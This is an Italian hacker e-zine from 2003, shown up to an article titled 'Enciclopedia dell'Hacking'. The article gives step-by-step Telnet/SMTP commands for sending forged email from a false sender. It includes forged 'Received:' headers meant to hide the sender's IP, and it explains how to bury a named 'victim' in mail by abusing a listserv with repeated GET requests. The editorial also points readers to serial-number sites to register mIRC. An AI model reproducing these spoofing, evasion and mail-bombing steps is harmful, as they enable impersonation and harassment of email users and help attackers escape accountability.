Copy Link
Add to Bookmark
Report

Gick-Zine 02

eZine's profile picture
Published in 
Gick Zine
 · 5 years ago

  


+--------------------------------------------------------------------------------+
| ________ __ __ __________ |
| / _____/|__| ____ | | __ \___ /__| ____ ____ |
| / \ ___| |/ ___\| |/ / ______ / /| |/ \_/ __ \ |
| \ \_\ \ \ \___| < /_____/ / /_| | | \ ___/ |
| \______ /__|\___ >__|_ \ /_____ \__|___| /\___ > |
| \/ \/ \/ \/ \/ \/ |
| |
| -=[{02}]=- |
| |
| SitoWeb: www.gick.cjb.net |
| e-m@il: mail@gick.cjb.net |
| |
| 01 Giugno 2003 |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 -=[index]=- |
| INDICE -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
| Introduzione |
| |
| [@1] Editoriale -=(Gick)=- |
| [@2] Mail Lettori |
| [@3] Humor ?!?!?! |
| |
| Hacking |
| |
| [01] Enciclopedia dell'Hacking Lord Shinva |
| [02] Hacker's Toolz SPP #Override# |
| |
| Programmazione |
| |
| [03] Lezioni di JavaScript n° 2 -=(Gick)=- |
| [04] mIRC Scripting TUTORIAL I SpyMaster |
| |
| Grafica |
| |
| [05] Introduzione all'Ascii-Art -=(Gick)=- |
| |
| Vari |
| |
| [06] Due Schede Video sul PC [Bartex] |
| [07] Il Registro di Windows Ankit Fadia |
| [08] FAQ sulla Sicurezza Security |
| [09] Come mettere un Server FTP anonimo con Linux Tormento |
| [10] Manifesto Mentor |
| |
| Conclusione |
| |
| [#1] Cenni Finali -=(Gick)=- |
| [#2] Dove Trovarci -=(Gick)=- |
| |
| Allegati |
| |
| [*1] EditorGZ.zip { Editor di Testo per scrivere gli articoli } |
| [*2] Font.zip { Font Lucida Console } |
| [*3] Exploit.zip { [01] Enciclopedia dell'Hacking } |
| [*4] JS_Lez_02.zip { [03] Lezioni di JavaScript n° 2 } |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| -=[DISCLAIMER]=- |
+--------------------------------------------------------------------------------+
| |
| Tutte le informazioni che troverete su questo txt sono da ritenersi a scopo |
| informativo, gli autori non si ritengono responsabili per l'uso che ne farete |
| o dei possibili danni che potreste causare a voi stessi o ad altri tramite |
| l'uso delle informazioni qui contenute. |
| |
| Anche se le cose qui esposte sono state testate, quindi non dovrebbero esserci |
| problemi gli autori non sono responsabili del mal funzionamento di programmi o |
| settaggi che, userete a vostro rischio e pericolo! |
| |
+--------------------------------------------------------------------------------+
___ _ _ _
|_ _|_ __ | |_ _ __ ___ __| |_ _ ___(_) ___ _ __ ___
| || '_ \| __| '__/ _ \ / _` | | | |_ / |/ _ \| '_ \ / _ \
| || | | | |_| | | (_) | (_| | |_| |/ /| | (_) | | | | __/
|___|_| |_|\__|_| \___/ \__,_|\__,_/___|_|\___/|_| |_|\___|


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@1]=- |
| Editoriale -=(Gick)=- |
+--------------------------------------------------------------------------------+
| |
|Sono felicissimo di dirvi che questo progetto sta continuando!!! |
| |
|Eccoci infatti col numero 2 di questa nuova e-Zine!!! |
| |
|Siete come sempre invitati a inviare i vostri articoli a: articoli@gick.cjb.net |
|e saremo molto lieti di pubblicarli! |
| |
|Come avrete notato in questa seconda "uscita" è stata aggiunta un'altra sezione,|
|Se vuoi proporre un'altra sezione e conosci gente disposta a scrivere articoli |
|per essa comunicacelo per e-mail a mail@gick.cjb.net! |
| |
|Volevo inoltre dire che è stato aperto in irc.azzurra.net il canale #gick dove |
|potremmo ritrovarci a chattare qualche sera in cui non sappiamo cosa fare manda-|
|le vostre preferenze di orari e le metterò come topic in modo che chiunque sap- |
|pia quando può trovarci... Presto sarà disponibile anche sul sito una sezione ap|
|posita per chattare con uno script in Java anche se non si è al momento in pos- |
|sesso di un client IRC cosa che non dovrebbe mai mancare!!! :-D |
| |
|Per gli utenti di Windows potete scaricare gratuitamente mIRC dal sito omonimo |
|www.mirc.com e registrarlo tramite qualche sito di SerialNumber anche se in caso|
|contrario è perfettamente utilizzabile! |
| |
|Anche per stavolta è tutto, alla prossima! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@2]=- |
| Mail Lettori |
+--------------------------------------------------------------------------------+
| |
| Mail n° 01 - Marco |
| Ho provato a stampare il primo numero della Zine ma ho notato che non tutta la|
| Zine da |...a...| viene stampata sulla stessa riga! Potreste farla con un im- |
| paginazione più breve??? (Spero di essermi spiegato) |
| Continuate così... Marco! |
| Risposta |
| L'impaginazione della zine è molto curata e ci tengo che resti così... Per ri-|
| solvere il problema della stampa ti conviene usare il NotePad con le seguenti |
| caratteristiche (a me così viene fuori perfetamente e pronta da rilegare! :-D)|
| - Font: Lucida Console (Se non ce l'hai lo trovi come allegato!) |
| - Margine Sinistro: 25 |
| - Margine Destro: 5 |
| - Margine Superiore: 20 |
| - Margine Inferiore: 20 |
| - Intestazione - &f - |
| - Pié di Pagina - &p - |
| (&f = Nome File, &p = Numero Pagina trovi tutto spiegato nella guida in linea |
| nella sezione intestazione e pié di pagina cercalo e guardati i parametri!) |
| |
+--------------------------------------------------------------------------------+
| |
|Continuate a scriverci al solito indirizzo: mail@gick.cjb.net cercheremo di ris-|
|pondervi in quanto ci sia possibile :-P |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [INTRODUZIONE] -=[@3]=- |
| Humor ?!?!?! |
+--------------------------------------------------------------------------------+
| |
|Cliente: "Buongiorno vorrei esporle il mio problema, non riesco a connettermi" |
|Tecnico: "Vada sul nostro sito xxx nella sezione FAQ e troverà le risposte ai |
| problemi più frequenti!"
|
|Cliente: "Ma le ho detto che non riesco a connettermi, come faccio ad andare sul|
| vostro sito web?"
|
|Tecnico: "Senta metta giù il telefono, richiemi fra qualche minuto che magari le|
| risponderà qualcuno più competente di me!"
|
| |
+--------------------------------------------------------------------------------+


_ _ _ _
| | | | __ _ ___| | _(_)_ __ __ _
| |_| |/ _` |/ __| |/ / | '_ \ / _` |
| _ | (_| | (__| <| | | | | (_| |
|_| |_|\__,_|\___|_|\_\_|_| |_|\__, |
|___/

+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [HACKING] -=[01]=- |
| ENCICLOPEDIA DELL'HACKING Lord Shinva |
+--------------------------------------------------------------------------------+
| |
| [A] - Glossario e fondamenti |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - GLOSSARIO |
| |
| - IP Address |
| |
| Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che|
| identifica il vostro computer sulla rete. Un IP Address e` unico e corris-|
| ponde ad un Host Name |
| |
| - Host Name |
| |
| Nome in formato standard Internet di un sito. |
| Ad esempio sarà del tipo www.prova.com per un provider o un sito generico,|
| mentre nel caso di un collegamento via modem di un utente al suo provider |
| potrà somigliare a ppp14-ro.provider.it. |
| Le estensioni piu` usate sono: |
| .com sito commerciale ("com") generico |
| .org organizzazione ("org") senza fini di lucro |
| .mil sito militare ("mil") USA |
| .net rete (in inglese "net") sito generico |
| .it (Italia) |
| .uk (Inghilterra) |
| .ca (California), ecc... |
| |
| - Client |
| |
| Programma "cliente", usato da un utente per collegarsi ad un servizio. |
| Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al |
| servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail|
| (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a (FTP=, e così |
| via. E' un programma che viene usato per comunicare con un server. |
| |
| - Server |
| |
| Programma che svolge un servizio e si occupa di rispondere ai client. |
| Ad esempio, i provider hanno un Web Server per offrirvi la possibilità di |
| collegarvi ad Internet tramite il Web. |
| |
| - Protocollo |
| |
| Insieme di regole per la gestione di un servizio Internet come web, email |
| |
| - Servizi: Nomi Tecnici |
| |
| I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP |
| (trasferimento file), e-mail, news, IRC, ecc. |
| Ecco alcuni nomi tecnici e relativo servizio: |
| HTTP è il nome del protocollo del web |
| SMTP e-mail, posta in uscita |
| POP3 e-mail, posta in arrivo |
| IMAP e-mail, e` un altro tipo di posta in arrivo, meno usato |
| |
| - DNS (Domain Name Server) |
| |
| E' la funzione svolta da un computer situato sulla rete che si occupa di |
| risalire a un IP Address da un Host Name e viceversa (se ad esempio volete|
| conoscere l'IP Address di www.prova.com utilizzando il DNS otterrete una |
| risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario). |
| L'operazione per la quale si risale dall'IP Address (numerico) all'Host |
| Name (nome) viene detta Reverse DNS. |
| Il DNS viene utilizzato automaticamente da tutti i programmi per Internet,|
| in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere |
| il relativo IP Address per riuscire a collegarsi ad un sito (Host). |
| E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc. |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - FONDAMENTI |
| |
|Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con una |
|breve lezione sull'anonimità. |
| |
|Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce |
|di voi ovunque. |
| |
|Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si collega|
|ad un server o si inviano dati vengono automaticamente trasmesse informazioni |
|come: da quale server (e quindi da quale città) si sta chiamando, il nome ed il |
|produttore del programma che si sta usando, quale sistema operativo e` instal- |
|lato sul vostro PC, il vostro IP address, qual'è l'ultimo sito visitato, se, |
|quando e quante volte ci si e` collegati ad un sito, e talvolta anche il proprio|
|indirizzo di e-mail. |
| |
|Mentre lasciare simili informazioni in giro può non costituire un pericolo per |
|un utente qualsiasi, per un hacker la cosa diventa alquanto pericolosa. |
|In pratica e` come se lasciaste un biglietto da visita (beh... quasi un curri- |
|culum!) ad ogni collegamento che effettuate. |
| |
|Molti siti utilizzano anche un comodo meccanismo di identificazione messo a dis-|
|posizione dei browser (Netscape, Internet Explorer, Mosaic) che li aiuta ad iden|
|tificarvi anche a distanza di tempo, e può rivelare loro la frequenza con cui |
|visitate dei siti, IP address, ed altre informazioni che non vorreste dare. |
|Il file in questione è denominato "cookie". |
| |
|Se usate Netscape lo troverete nella directory del browser con l'innocuo nome di|
|"cookies.txt". Non e` altro che un semplice file di testo, come questo che state|
|leggendo. Basterà eliminarlo dopo ogni collegamento per eliminare le informa- |
|zioni che esso può rivelare. |
|Se utilizzate siti che richiedono accesso con password puo` darsi che il cookie |
|contenga delle informazioni necessarie al vostro collegamento: |
|in tal caso bastera` editare il file ed eliminare solo le righe che non conten- |
|gono il nome del sito in questione. |
| |
|I "cookies" possono essere disabilitati in alcuni browser (come Netscape). |
| |
|Lo stesso vale per altre tecnologie ancor piu` pericolose (per la privacy), come|
|Java e JavaScript. Rendono più allegre le pagine Web... e ancor piu` allegri |
|quelli che vogliono sapere chi, come e quando si collega a una pagina. |
| |
|Un mezzo molto usato fino a poco tempo fa per nascondere le proprie tracce sul |
|Web era l'Anonimizzatore (http://www.anonymizer.com), ma mentre prima era gra- |
|tuito ora è diventato a pagamento. Lo si puo` ancora utilizzare, ma prima di |
|visualizzare la pagina Web desiderata, l'utente e` costretto ad attendere circa |
|mezzo minuto. Inoltre questo servizio è ora in grado di riconoscere un tentativo|
|di hacking e si rifiuta di eseguire il collegamento. |
| |
|Per quanto riguarda invece le e-mail (posta elettronica) il discorso cambia. |
| |
|In realtà, un hacker non usa quasi mai altro che un solo programma: Telnet. |
| |
|Se non siete ancora in possesso di un client (programma utente) Telnet vi consi-|
|glio di prelevarlo al piu` presto dalla rete ad esempio, cercando su: |
| |
| http://www.shareware.com |
| |
|Telnet non e` altro che un servizio di banca dati, con messaggi, programmi e co-|
|se del genere, proprio come nelle vecchie BBS. |
| |
|Ma perche` utilizzare proprio Telnet? |
| |
|In realtà, un client Telnet fa poco più che collegarsi a un server, inviargli |
|tutto quello che scrivete e mostrarvi tutto quello che riceve dal server. |
| |
|Può in effetti sostituire (limitatamente) un qualsiasi altro client. |
| |
|Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi ad|
|un sito Web, il programma non fa altro che svolgere una sessione Telnet. |
| |
|In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta |
|che il server glielo invii. |
| |
|Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica. |
| |
|Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi pro- |
|gramma client, parlando al server e leggendo le sue risposte. |
| |
|Ma per quale motivo dovremmo farlo? E' presto detto. |
| |
|Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail, è stato|
|progettato perché dall'altro capo della connessione ci sia un programma client |
|che segua certe regole (ad esempio Eudora per la posta). |
| |
|Ma cosa succede se invece di un programma c'è un hacker che "finge" di essere il|
|programma e invece di seguire le regole standard fa altre cose non previste? |
|Succede che si può sovvertire il servizio e fare le cose più disparate. |
| |
|Alcuni esempi: sovvertendo e-mail si può inviare posta elettronica "falsa" (det |
|ta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web |
|si può crashare (da "crash": distruggere, in senso virtuale) un server, con FTP |
|si può ottenere un livello di anonimità elevatissimo ed e` possibile infiltrar- |
|si anche dove non si è desiderati, e così via; per praticamente ogni servizio |
|esistente vi sono delle tecniche applicabili. |
| |
|E infine, con quasi tutti i servizi (e in particolar modo con la SMTP) esistono |
|dei modi per ottenere il tanto agognato accesso "root", in pratica il livello |
|dell'amministratore di sistema (detto SysAdmin) che può fare *qualsiasi* cosa: |
|creare, aggiungere o eliminare account, file e directory, utenti con qualsiasi |
|livello d'accesso, leggere la posta e i file degli utenti, attivare e disattiva-|
|re servizi, modificare programmi... |
| |
+--------------------------------------------------------------------------------+
| |
| [B] - Telnet e SMTP |
| |
+--------------------------------------------------------------------------------+
| |
|Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno fa- |
|cendo sembrare che essa sia stata mandata da qualcun altro. |
| |
|Il metodo piu` semplice è utilizzare uno dei siti per hackers che offrono la pos|
|sibilità di inviare FakeMail basta cercare questa parola in un motore di ricerca|
|su Internet, ad esempio www.yahoo.com ha una sezione apposita per FakeMail e pos|
|ta anonima. |
| |
|Ma per ora tralasciamo i siti e vediamo in pratica come funziona la tecnica del-|
|le FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle news). |
| |
|Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfit-|
|teremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio |
|della posta in uscita. |
|Questa è infatti la base per capire come funzionano molte delle tecniche più |
|utilizzate, e vi permetterà, quando sarete padroni della materia, di |
|implementarne di nuove. |
| |
|Iniziamo dunque imparando ad usare Telnet. |
| |
|Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi col- |
|legherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiet|
|tivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi? |
| |
|Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, |
|anche un numero di "porta". Ma cos'e` una porta? |
|Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gesti-|
|sce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altret- |
|tanti server su altrettanti indirizzi diversi. |
| |
|Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica |
|nient'altro numeri a cui sono associati i vari servizi. |
| |
|Vogliamo collegarci a SMTP? Basta utilizzare la porta 25 Ci interessano le news?|
|La porta è 119 Oppure FTP, porta 21... sono tutti numeri "fissi" (standard) e |
|quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci |
|rispondera` sempre SMTP. |
| |
| [NOTA] se avete Winsock potete leggere il file "services", contenente i numeri |
| delle porte piu` usate. Il file si trovera` nella directory di Winsock. |
| |
|Ora che abbiamo chiarito il discorso delle porte supponiamo di volerci collegare|
|a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in|
|cui un server non gestisca la posta) e, in base al programma usato, dovremmo ope|
|rare differentemente. |
| |
|La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del ser-|
|ver prova.it bisogna inserire prova.it:25 come nome del server. |
|Alcuni invece non prevedono l'uso dei due punti per delimitare nome e porta, ma |
|hanno uno spazio in cui inserire separatamente il numero o il nome del servizio.|
| |
|Dunque, una volta connessi a prova.it:25 avremo un messaggio di questo tipo: |
| |
| 220 prova.it Sendmail x.x/x.x 11/11/97 ready at Mon, 30 Oct 97 06:22:19 -0200 |
| |
|e niente altro. Il server sta ora aspettando comandi da parte nostra. |
|La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in |
|questo modo: |
| |
| HELO nomeprovider.it |
| |
|sostituendo nomeprovider.it con il nome del nostro provider. |
| |
| [NOTA] usando Telnet *NON* è possibile cancellare. Quindi digitate senza fretta|
| e se proprio sbagliate riavviate la connessione e ripetete tutto, oppure|
| - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la|
| riga da zero. Non cancellate, anche se sembra funzionare. |
| I risultati possono essere imprevedibili e potreste rivelare la vostra |
| identità. |
| |
|Talvolta è possibile inserire un nome falso, ma i nuovi server conoscono già il |
|vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome. |
| |
|La risposta sarà: |
| |
| 250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you |
| |
|A questo punto dovremo dire al server qual'è il nostro indirizzo di e-mail. |
|Usiamo allo scopo il comando "MAIL FROM" e digitiamo: |
| |
| MAIL FROM: email@falsa.it |
| |
|...ovviamente l'indirizzo da inserire è quello falso :) |
|Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sarà un |
|messaggio d'errore, e dovremo ripetere l'immissione. |
| |
|A questo punto dobbiamo scegliere la nostra "vittima", che supponiamo essere |
|vittima@lamer.it. Usiamo il comando "RCPT TO" e scriviamo: |
| |
| RCPT TO: vittima@lamer.it |
| |
|Il server rispondera` con un altro messaggio. |
| |
|Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle in-|
|testazioni e del corpo del messaggio. |
|Avvisiamo il server che siamo pronti, scrivendo: |
| |
| DATA |
| |
|e il server ci dirà di scrivere il messaggio e di concludere con un punto su una|
|riga vuota. |
| |
|Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers) che |
|si trovano prima del corpo del messaggio vero e proprio. Il loro scopo è elenca-|
|re tutti i computer attraverso i quali e` passato il messaggio, nonché il nostro|
|IP Address! Cio` potrebbe rivelare la nostra identità a un hacker o ad un Sys- |
|Admin esperto. Per evitarlo, digitiamo: |
| |
| Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58 |
| |
|dove nomeprovider.it è il nome del vostro provider (quello che avete usato con |
|HELO) e l'ultima parte (Sun, 12 Oct...) è la data in formato standard. |
| |
|ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente che |
|inizi con AA1 più altre 4 cifre, per farlo sembrare più reale). |
|Si tratta solo di un numero di serie del server, niente di importante. |
| |
|Ora dobbiamo digitare: |
| |
| Message-ID: AA11345 |
| |
|Ciò serve a far credere che il messaggio sia partito effettivamente dal server |
|"microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi, purche` *NON*|
|uguale a quello inserito prima con l'intestazione "Received:"). |
| |
|Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail: |
| |
| To: vittima@lamer.it |
| Date: Sun, 12 Oct 97 11:30:27 |
| Subject: questa e` una prova... |
| |
|Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto |
|vogliamo). Per concludere il messaggio lasciamo due righe vuote, digitiamo un |
|punto, premiamo invio, scriviamo QUIT e invio. |
| |
|La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiu|
|dere Telnet. |
| |
|E' importante inviare a se stessi dei messaggi di prova per vedere se il server |
|scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, |
|soprattutto, per vedere se il proprio IP Address si trova in mezzo alle intesta-|
|zioni "Received:", oppure (sbagliato) alla fine. |
| |
|Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo |
|successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di|
|qualcuno? |
| |
|Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente do- |
|vremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un |
|"listserv" (come ad esempio listserv@brownvm.brown.edu). Un Listserv e` un pro- |
|gramma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo |
|via FTP. |
| |
|Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'è |
|un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei|
|20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima... |
| |
|Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, ar-|
|rivati a "Subject:" scriviamo quanto segue: |
| |
| REPLY vittima@lamer.it |
| CONNECT pluto.it anonymous indirizzo@falso.com |
| BINARY |
| GET mieifiles/enorme.gz |
| QUIT |
| |
|e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc... |
| |
|Ecco la spiegazione passo passo: |
| |
| REPLY indica l'indirizzo e-mail a cui rispondere |
| CONNECT specifica il nome del provider a cui collegarsi e l'account da usare |
| BINARY specifica un file di tipo binario (non va cambiato) |
| GET specifica il nome del file da prelevare (completo di eventuali directory) |
| QUIT termina la connessione |
| |
|Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sarà molto |
|più dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10 volte il comando|
|"GET ..." verranno mandati un totale di ben 200 megabyte al povero utente desti-|
|natario! |
|E poiché i server di e-mail spezzano i messaggi in tanti piccoli messaggi, la |
|vittima riceverebbe migliaia e migliaia di messaggi... |
| |
|E' un buon motivo per non dare in giro il proprio indirizzo di e-mail, no? |
| |
+--------------------------------------------------------------------------------+
| |
| [C] - Email & Identificazione |
| |
+--------------------------------------------------------------------------------+
| |
|Per concludere il nostro studio su FakeMail e messaggi anonimi, vedremo ora come|
|riconoscere una e-mail "vera" da una "falsa", come identificarne (in parte) l'au|
|tore, e come utilizzare i remailer anonimi per un'anonimita` di livello elevatis|
|simo. |
| |
|Per poter studiare un messaggio dobbiamo necessariamente essere in grado di leg-|
|gerne gli "headers" (intestazioni), cioe` quelle righe che iniziano con la paro-|
|la "Received:" e simili, che si trovano prima del corpo del messaggio vero e |
|proprio). |
| |
|Visualizzare gli headers e` semplice: ogni programma di posta elettronica ha un'|
|opzione (in genere nel menu`) per attivare/disattivare la visualizzazione degli |
|stessi. |
|Netscape Mail, ad esempio, ha la voce "Show Headers" nel menu` "Options", mentre|
|con "Internet Explorer" è necessario cliccare sul titolo dell'e-mail da analiz- |
|zare, quindi premere il tasto destro e scegliere l'ultima voce (Properties, ov- |
|vero Proprietà). Eudora ed altri client hanno una funzione simile a quella di |
|Netscape Mail (nei menù). |
| |
|Prendiamo dunque ad esempio questa e-mail, di cui visualizziamo gli headers: |
| |
| Received: from posta.hackers.it (111.123.33.4) by provider.it via mtad (2.3) |
| id mx03-Biqmta0276; Mon, 27 Sep 1997 06:45:07 -0600 (MDT) |
| Received: from america.com ([123.45.67.89]) by posta.hackers.it |
| (post.office MTA v1.9.3b ID# 0-12345) with SMTP id AAA187 |
| for ; Mon, 27 Sep 1997 14:34:21 +0200 |
| From: |
| To: |
| Subject: test... |
| |
|Analizziamone ora gli headers: il primo (Received) e` lungo due righe, in quanto|
|ogni header inizia con una parola chiave seguita dai due punti, e nel secondo |
|rigo non esiste una prima parola, né i due punti; ne deduciamo perciò che è il |
|seguito della riga superiore. |
| |
|L'header "Received" ci informa del percorso seguito dall'e-mail da quando è stat|
|generato a quando l'abbiamo ricevuto. Normalmente ce n'è più di uno e sono dis- |
|posti in ordine inverso (il primo rappresenta l'ultimo computer a cui è arrivata|
|l'e-mail - con ogni probabilità il nostro o quello del nostro provider - e l'ul-|
|timo Received rappresenta il computer "mittente"). |
| |
|Infatti, ogni volta che un server riceve una e-mail, aggiunge un "Received" in |
|*cima* alle altre intestazioni già presenti. |
| |
|Tornando alla nostra e-mail, vediamo perciò che l'ultimo "Received" ci informa |
|che il computer america.com ha l'IP Address 123.45.67.89 e ha mandato questa e- |
|mail al server posta.hackers.it usando SMTP. |
|Guardando l'header successivo (sopra) notiamo che poi il messaggio è stato manda|
|to a sua volta da posta.hackers.it (che vediamo avere un IP Address pari a |
|111.123.33.4) a provider.it, che è il server destinatario (il nostro). |
| |
|Infatti, se guardiamo l'header "To:" vediamo che destinatario finale è |
| |
| utente@provider.it. |
| |
|Il mittente, stando all'header "From:", dovrebbe essere mittente@america.com ma |
|come sincerarsene? |
| |
|Utilizzando il programma Finger possiamo sapere se l'utente "mittente" esiste su|
|"america.com", ma utilizzando Finger non possiamo sapere se sia stato effettiva-|
|mente lui a mandare il messaggio o meno. |
| |
|Ricorriamo perciò ancora una volta all'analisi degli header "Received". |
|Il primo header, quello che ci informa da CHI è stato inviato il messaggio, cor-|
|risponde all'ultimo header (cioè al secondo "Received"). |
|Da lì scopriamo che il computer mittente è america.com con IP 123.45.67.89 e del|
|l'IP possiamo essere sicuri... ma non possiamo fidarci di "america.com" e l'uni-|
|co modo per sapere se effettivamente Host Name e IP Address coincidono è utiliz-|
|zare un programma DNS. Basterà inserire l'IP Address per conoscere l'Host Name |
|ad esso corrispondente. |
| |
|Questo metodo è di estrema importanza, in quanto se da un lato non ci permette |
|di scoprire l'autore, almeno potremo sapere quale computer è stato usato per in-|
|viare e-mail, news, ecc. Molti provider di posta elettronica gratuita (come Hot-|
|mail e Netaddress) e non, permettono di bloccare l'invio di e-mail che provengo-|
|no da un determinato "dominio" (es. provider.it), ma per farlo e` necessario co-|
|noscerne l'Host Name oppure l'IP Address. |
| |
|Quando si effettua un mail-bombing usando Kaboom, Up Yours o altri programmi del|
|genere, si lascia dunque in modo indelebile il proprio IP Address nelle e-mail. |
|L'unico "lato buono" è che inviando alcune migliaia di e-mail a un indirizzo, |
|*probabilmente* il proprietario della mailbox non riuscirà a scaricarle tutte |
|(o non vorrà farlo) e non potrà percio` analizzarne le intestazioni per scoprire|
|il colpevole ;) |
| |
|In ogni caso con i servizi di e-mail tramite Web, o con programmi ad hoc è pos- |
|sibile scaricare un singolo messaggio e analizzarlo, quindi è bene lasciare il |
|mail-bombing ai lamers che non hanno nient'altro da fare... |
| |
|Il motivo per cui programmi come Kaboom e Up Yours si dichiarano "100% non rin- |
|tracciabili"
è perché la lista dei server SMTP inclusa in essi contiene per lo |
|più vecchi server che non registrano l'IP Address di chi si collega. |
|Ma tali server sono stati sfruttati, hackerati, bombardati e sovraccaricati di |
|e-mail in uscita, e sono stati perciò disattivati o hanno cambiato nome. |
| |
|In ogni caso, tutti i più nuovi server SMTP registrano (purtroppo) l'IP e in al-|
|cuni casi sono addirittura in grado di riconoscere un tentativo di FakeMail e |
|rispondere "sfottendo"... :-} |
| |
|Supponiamo ora che anziche` utilizzare e-mail false vogliamo scriverne una ano- |
|nima per rispondere a qualcuno senza essere rintracciati, o magari per parteci- |
|pare a un Newsgroup in maniera del tutto anonima. |
| |
|Esiste un servizio, quello dei cosiddetti "remailer", per inviare posta completa|
|mente anonima (senza mittente e senza alcuna traccia di IP Address o altro). |
| |
| [NOTA] Per una lista completa con tutte le informazioni come: velocità, carat- |
| teristiche e affidabilità basta cercare le parole "anonymous remailer" |
| con un qualsiasi motore di ricerca sul Web. |
| |
|Usarli nella loro forma più semplice (senza criptazione e senza re-routing multi|
|pli) e` facile, basta inviare una normalissima e-mail (con qualsiasi programma |
|di posta elettronica) all'indirizzo e-mail di un remailer. |
| |
|Ad esempio, remailer@replay.com (oppure remailer@huge.cajones.com o ancora |
|remailer@cypherpunks.ca) e, PRIMA del messaggio inserire una riga vuota, una |
|coppia di due punti e altre informazioni, come segue: |
| |
| |
| :: |
| Request-Remailing-To: destinatario@email.com |
| |
| Questa e` una prova.... |
| |
|Dunque l'indirizzo del destinatario NON va inserito come destinatario. |
|Come destinatario useremo l'indirizzo del remailer, mentre quello del vero desti|
|natario andrà scritto a fianco a "Request-Remailing-To: ". |
| |
|Questo è quanto per le e-mail anonime. Come fare, invece, per inviare delle news|
|anonime? Seguendo lo stesso procedimento, ma usando come destinatario un "gate- |
|way"
(passaggio) mail-news. A cosa serve? |
| |
|Inviando un messaggio al gateway, questo lo invierà a sua volta alle news. |
| |
|Volendo mandare un messaggio al Newsgroup alt.hackers basterà sostituire i punti|
|con dei trattini e aggiungere l'indirizzo del gateway (ad esempio cs.utexas.edu)|
|quindi il risultato sarà alt-hackers@cs.utexas.edu al quale manderemo il nostro |
|messaggio tramite remailer. |
| |
|Aggiungiamo ora alcune informazioni per completare il capitolo. |
| |
|Sul Web esistono vari siti per FakeMail che non registrano IP Address. Uno molto|
|veloce è (al momento in cui si scrive) MailMan al seguente indirizzo: |
| |
| http://www.nettex.com/~thecap/ |
| |
|Per quanto riguarda la posta anonima tramite remailer, ne esistono anche sul Web|
